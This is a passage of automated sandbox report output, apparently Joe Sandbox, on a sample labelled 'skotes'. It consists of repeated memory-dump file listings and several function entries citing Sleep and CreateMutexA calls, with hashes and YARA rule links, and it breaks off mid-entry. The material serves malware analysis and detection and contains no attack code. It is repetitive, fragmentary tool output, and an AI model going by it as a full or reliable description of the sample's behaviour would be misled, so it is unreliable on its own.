Associated: 00000002.00000002.2140381170.0000000000950000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140460119.0000000000951000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140485429.0000000000958000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140521260.000000000095A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140558303.000000000095B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140593570.0000000000963000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140641466.0000000000974000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140675411.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140695193.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140721788.0000000000979000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140749331.000000000097A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140777619.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140777619.00000000009A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140853206.00000000009BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140880243.00000000009BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140911782.00000000009D3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140938404.00000000009D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140964553.00000000009D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140993103.00000000009DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141021980.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141042278.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141062054.00000000009EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2r
API String ID: 1464230837-3348044575
Opcode ID: b1daa91632c69c854fa2b0dded5483015701127dbd7f24e9c08f293dfa3ca298
Instruction ID: cdfb6dc412d12e023f3bd6b2d7e6be90c618417a43b2aea33b6fed18d8a3a360
Opcode Fuzzy Hash: b1daa91632c69c854fa2b0dded5483015701127dbd7f24e9c08f293dfa3ca298
Instruction Fuzzy Hash: BF312A31B041449BEB089BF8DC89FBDB7A3EBC5318F28425DE014973D5C77999808756

Function 006CA418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 006CA963
CreateMutexA.KERNELBASE(00000000,00000000,00723254), ref: 006CA981

Strings

T2r, xrefs: 006CA970

Memory Dump Source

Source File: 00000002.00000002.2139236518.00000000006C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000002.00000002.2139204870.00000000006C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139236518.0000000000722000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139343957.0000000000729000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139366119.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139397070.0000000000737000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139570698.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139599711.0000000000895000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139636636.00000000008AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139636636.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139692832.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139719779.00000000008BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139737199.00000000008BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139762891.00000000008BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139793433.00000000008C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139820096.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139848259.00000000008CB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139873438.00000000008CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139902860.00000000008CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139929743.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139969872.00000000008EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139988684.00000000008ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140015501.00000000008F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140057601.0000000000906000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140088857.000000000091C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140118842.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140136841.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140173681.0000000000927000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140201170.000000000092E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140231392.0000000000934000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140261178.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140290122.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140319546.0000000000945000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140351377.0000000000948000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140381170.0000000000950000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140460119.0000000000951000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140485429.0000000000958000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140521260.000000000095A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140558303.000000000095B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140593570.0000000000963000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140641466.0000000000974000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140675411.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140695193.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140721788.0000000000979000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140749331.000000000097A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140777619.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140777619.00000000009A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140853206.00000000009BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140880243.00000000009BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140911782.00000000009D3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140938404.00000000009D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140964553.00000000009D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140993103.00000000009DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141021980.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141042278.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141062054.00000000009EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2r
API String ID: 1464230837-3348044575
Opcode ID: f50b9101e6dba7cdab64ab61b91176f228c630c47f95f3e8b77bba3dd604c92f
Instruction ID: 81050cbe8cc4af9ba95319dfb2ea190dc6a02902711590093fe1adfbd6ea536c
Opcode Fuzzy Hash: f50b9101e6dba7cdab64ab61b91176f228c630c47f95f3e8b77bba3dd604c92f
Instruction Fuzzy Hash: FD313931A001089BEB0C9BB8DC89FBDB6A3EBC1318F24825DE1549B3D5C7B999808656

Function 006CA54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 006CA963
CreateMutexA.KERNELBASE(00000000,00000000,00723254), ref: 006CA981

Strings

T2r, xrefs: 006CA970

Memory Dump Source

Source File: 00000002.00000002.2139236518.00000000006C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000002.00000002.2139204870.00000000006C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139236518.0000000000722000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139343957.0000000000729000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139366119.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139397070.0000000000737000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139570698.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139599711.0000000000895000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139636636.00000000008AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139636636.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139692832.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139719779.00000000008BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139737199.00000000008BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139762891.00000000008BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139793433.00000000008C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139820096.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139848259.00000000008CB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139873438.00000000008CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139902860.00000000008CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139929743.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139969872.00000000008EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139988684.00000000008ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140015501.00000000008F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140057601.0000000000906000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140088857.000000000091C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140118842.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140136841.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140173681.0000000000927000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140201170.000000000092E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140231392.0000000000934000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140261178.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140290122.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140319546.0000000000945000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140351377.0000000000948000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140381170.0000000000950000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140460119.0000000000951000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140485429.0000000000958000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140521260.000000000095A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140558303.000000000095B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140593570.0000000000963000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140641466.0000000000974000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140675411.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140695193.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140721788.0000000000979000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140749331.000000000097A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140777619.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140777619.00000000009A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140853206.00000000009BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140880243.00000000009BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140911782.00000000009D3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140938404.00000000009D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140964553.00000000009D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140993103.00000000009DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141021980.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141042278.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141062054.00000000009EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2r
API String ID: 1464230837-3348044575
Opcode ID: fef2fcbf16cb34c2467e56555a7d6cf1636bb2689d05921cc68955cbde34bfcc
Instruction ID: 81fce61043a6f89796290a90c09e2db427b78c7ab62981cdf9e0b2a0e6d7ceb4
Opcode Fuzzy Hash: fef2fcbf16cb34c2467e56555a7d6cf1636bb2689d05921cc68955cbde34bfcc
Instruction Fuzzy Hash: 77314831A041088BEB08DBB8DC89FBCB7A3EBC5318F24825DE154AB3D5C77999818756

Function 006CA682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 006CA963
CreateMutexA.KERNELBASE(00000000,00000000,00723254), ref: 006CA981

Strings

T2r, xrefs: 006CA970

Memory Dump Source

Source File: 00000002.00000002.2139236518.00000000006C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000002.00000002.2139204870.00000000006C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139236518.0000000000722000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139343957.0000000000729000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139366119.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139397070.0000000000737000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139570698.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139599711.0000000000895000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139636636.00000000008AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139636636.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139692832.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139719779.00000000008BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139737199.00000000008BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139762891.00000000008BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139793433.00000000008C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139820096.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139848259.00000000008CB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139873438.00000000008CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139902860.00000000008CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139929743.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139969872.00000000008EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139988684.00000000008ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140015501.00000000008F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140057601.0000000000906000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140088857.000000000091C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140118842.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140136841.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140173681.0000000000927000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140201170.000000000092E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140231392.0000000000934000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140261178.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140290122.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140319546.0000000000945000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140351377.0000000000948000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140381170.0000000000950000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140460119.0000000000951000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140485429.0000000000958000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140521260.000000000095A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140558303.000000000095B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140593570.0000000000963000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140641466.0000000000974000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140675411.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140695193.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140721788.0000000000979000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140749331.000000000097A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140777619.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140777619.00000000009A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140853206.00000000009BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140880243.00000000009BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140911782.00000000009D3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140938404.00000000009D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140964553.00000000009D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140993103.00000000009DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141021980.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141042278.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141062054.00000000009EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2r
API String ID: 1464230837-3348044575
Opcode ID: 0707cb92613688ba99846ca4e1ed3e8b966b665b03dc23a17f123be9dbfdf9c6
Instruction ID: fb8c36d4c1103cf68e6484230b29ff082c16cc9d88983ae553750543827a34df
Opcode Fuzzy Hash: 0707cb92613688ba99846ca4e1ed3e8b966b665b03dc23a17f123be9dbfdf9c6
Instruction Fuzzy Hash: 29312831A041088BEB089BB8DD89FBDB7A3EBC1318F24825DE1149B3D5C77999808666

Function 006C9ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 006CA963
CreateMutexA.KERNELBASE(00000000,00000000,00723254), ref: 006CA981

Strings

T2r, xrefs: 006CA970

Memory Dump Source

Source File: 00000002.00000002.2139236518.00000000006C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000002.00000002.2139204870.00000000006C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139236518.0000000000722000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139343957.0000000000729000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139366119.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139397070.0000000000737000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139570698.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139599711.0000000000895000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139636636.00000000008AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139636636.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139692832.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139719779.00000000008BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139737199.00000000008BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139762891.00000000008BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139793433.00000000008C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139820096.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139848259.00000000008CB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139873438.00000000008CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139902860.00000000008CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139929743.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139969872.00000000008EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139988684.00000000008ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140015501.00000000008F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140057601.0000000000906000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140088857.000000000091C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140118842.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140136841.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140173681.0000000000927000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140201170.000000000092E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140231392.0000000000934000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140261178.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140290122.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140319546.0000000000945000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140351377.0000000000948000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140381170.0000000000950000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140460119.0000000000951000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140485429.0000000000958000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140521260.000000000095A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140558303.000000000095B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140593570.0000000000963000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140641466.0000000000974000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140675411.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140695193.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140721788.0000000000979000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140749331.000000000097A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140777619.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140777619.00000000009A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140853206.00000000009BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140880243.00000000009BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140911782.00000000009D3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140938404.00000000009D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140964553.00000000009D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140993103.00000000009DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141021980.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141042278.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141062054.00000000009EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2r
API String ID: 1464230837-3348044575
Opcode ID: 9afa5b4d153fa274d60fb0e61ad0673c7ab00d7476a075cb599da8ee998eecf1
Instruction ID: 58c7c2a6cc72e602d4a6f2dfbd15bfffe0d93c4ceae0dfc47d8bb86bbe2b49d8
Opcode Fuzzy Hash: 9afa5b4d153fa274d60fb0e61ad0673c7ab00d7476a075cb599da8ee998eecf1
Instruction Fuzzy Hash: 9E213A31B14204DBEB189BACEC89B7DB7A3EBC1314F24422DE508973D5C77999808656

Function 006CA856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 006CA963
CreateMutexA.KERNELBASE(00000000,00000000,00723254), ref: 006CA981

Strings

T2r, xrefs: 006CA970

Memory Dump Source

